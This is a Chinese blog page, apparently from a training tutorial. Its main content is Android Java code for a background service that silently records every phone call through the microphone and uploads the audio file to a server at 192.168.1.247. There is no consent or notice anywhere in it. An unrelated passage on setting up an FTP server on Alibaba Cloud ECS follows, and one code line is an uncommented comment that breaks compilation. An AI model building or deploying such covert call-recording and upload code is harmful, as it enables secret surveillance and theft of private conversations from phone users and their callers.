service 电话监听器并上传到服务器

package cn.itcast.phonelistener;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
//广播可以直接注册就可以提起来,但是服务不可以,他必须显示地调用才可以提起来,所有我们必须在demoActivity中开启一个intent.
public class DemoActivity extends Activity {
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);
		//因为在onCreate方法中,所有一开始就开启了intent.
        Intent intent = new Intent(this,PhoneListenService.class);
        startService(intent);
        
    }
}
package cn.itcast.phonelistener;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;

import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.view.LayoutInflater;

public class PhoneListenService extends Service {

	// activity receiver contentprovider
	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	/**
	 * 在服务第一次被创建的时候 执行
	 */
	@Override
	public void onCreate() {
		super.onCreate();
//设置为前台进程
		setForeground(true);
		
		// 1. 判断当前手机的状态,
		// 如果发现手机处于 通话状态
		// 创建一个录音器, 录下来用户的通话信息
		// 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
		// 得到手机与电话状态相关的服务
		TelephonyManager manager = (TelephonyManager) this
				.getSystemService(TELEPHONY_SERVICE);
		// this.getSystemService(WIFI_SERVICE);
		//电话监听事件.
		manager.listen(new MyPhoneListener(),
				PhoneStateListener.LISTEN_CALL_STATE);
		
		
		System.out.println(" 线程id "+ Thread.currentThread().getName());
	}
//监听事件
	private class MyPhoneListener extends PhoneStateListener {
	//录音器.
		MediaRecorder recorder = null;
		/**
		 * 当电话的通话状态发生改变的时候 被调用的方法
		 */
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态
					System.out.println("当前电话处于闲置状态 ");
					
					// 判断下recorder是否为空 ,并且将数据文件上传到服务器
					if(recorder!=null){
						recorder.stop();
						recorder.release(); // Now the object cannot be reused
						recorder = null;
						
						new Thread(){

							@Override
							public void run() {
								// 打开文件
								File file = new File("/sdcard/temp.3gp");
								try {
								 上传数据到服务器 
									upload(file);
								} catch (Exception e) {
									e.printStackTrace();
								}
							}
						}.start();
					}
					break;
				case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于铃声响状态
					System.out.println("电话号码为 " + incomingNumber);
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态
					System.out.println("当前电话处于通话状态 ");
					// 初始化一个录音器,
					recorder = new MediaRecorder();
					recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					//recorder.setOutputFile("sdcard/temp.3gp");
//					File file = new File("/sdcard/temp.3gp");
//					FileOutputStream fos = new FileOutputStream(file);
//					fos.write("haha".getBytes());
//录音为3gp格式
					recorder.setOutputFile("/sdcard/temp.3gp");
					recorder.prepare();

					recorder.start(); // Recording is now started

				
					break;

				}
			} catch (Exception e) {
				e.printStackTrace();
			}

			super.onCallStateChanged(state, incomingNumber);
		}

	}
	
	
	public void upload(File file) throws Exception{
		// 实例化上传数据的 数组  part []
		Part[] parts = {
				  new FilePart("file",file)};
		
		PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");
		
	  //Part   PostMethod    setRequestEntity   HttpClient   client.executeMethod(filePost);
		filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
		org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
        client.getHttpConnectionManager().getParams()
          .setConnectionTimeout(5000);
		int status = client.executeMethod(filePost);
		if(status==200){
			
			System.out.println("上传成功");
		}
		else{
			throw new IllegalStateException("服务器状态异常");
		}
 
	}
	
}


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要搭建FTP服务器,我们可以使用阿里云提供的云服务器ECS。首先,我们需要在阿里云控制台上购买一台ECS实例。选择适合自己需求的操作系统,如CentOS或Ubuntu。 购买成功后,我们可以通过SSH客户端连接到ECS实例。然后,我们需要安装FTP服务器软件,常用的有ProFTPD和vsftpd。通过在终端中运行适当的安装命令,即可完成安装。例如,在Ubuntu系统中,我们可以使用以下命令安装vsftpd: sudo apt update sudo apt install vsftpd 安装完成后,我们需要对FTP服务器进行配置。首先,我们需要编辑配置文件。在Ubuntu系统中,配置文件位于/etc/vsftpd.conf。我们可以使用命令行编辑器(如nano)打开该文件,并根据自己的需求进行修改。 配置文件中的一些重要选项包括:监听的端口、允许的用户、文件传输模式等。例如,我们可以选择是否允许匿名用户登录,并指定允许上传和下载的目录。还可以设置用户的权限和限制。 完成配置后,我们需要重启FTP服务器以使更改生效。在Ubuntu系统中,可以使用以下命令重启服务: sudo service vsftpd restart 现在,我们的FTP服务器已经搭建成功了!我们可以使用FTP客户端连接到ECS实例的公网IP,并使用配置的用户名和密码登录。如果一切顺利,我们应该可以在指定的目录下上传和下载文件了。 当然,在搭建FTP服务器的过程中还有更多细节需要考虑,如安全性配置、防火墙设置等。但通过以上简要的步骤,我们可以初步搭建云服务器ECS上的FTP服务器

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值